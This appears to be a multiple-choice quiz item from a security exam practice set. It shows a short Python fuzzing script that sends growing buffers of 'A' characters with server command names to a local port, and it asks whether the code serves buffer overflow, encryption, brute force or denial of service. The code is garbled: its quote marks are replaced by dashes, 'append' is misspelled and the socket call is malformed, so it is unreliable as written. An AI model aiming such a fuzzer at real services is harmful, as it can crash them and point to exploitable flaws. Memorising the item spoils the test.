#!/usr/bin/python
import socket
buffer=[-A-]
counter=50
while len(buffer)<=100:
buffer.apend (-A-*counter)
counter=counter+50
commands=[-HELP-,-STATS.-,-RTIME.-,-LTIME.-,-SRUN.-,-TRUN.-,-GMON.-,-GDOG.-,-KSTET.-,-GTER.-,-HTER.-,-LTER.-,-KS
TAN.-]
for command in commands:
for buffstring in buffer:
print -Exploiting- +command+-:-+str(len(buffstring))
s=socket.socket(socket.AF_INET.socket.SOCK_STREAM)
s.connect((127.0.0.1,9999))
s.recv(50)
s.send(command+buffstring)
s.close()
What is the code written for?
A. Buffer Overflow
B. Encryption
C. Bruteforce
D. Denial-of-service (Dos)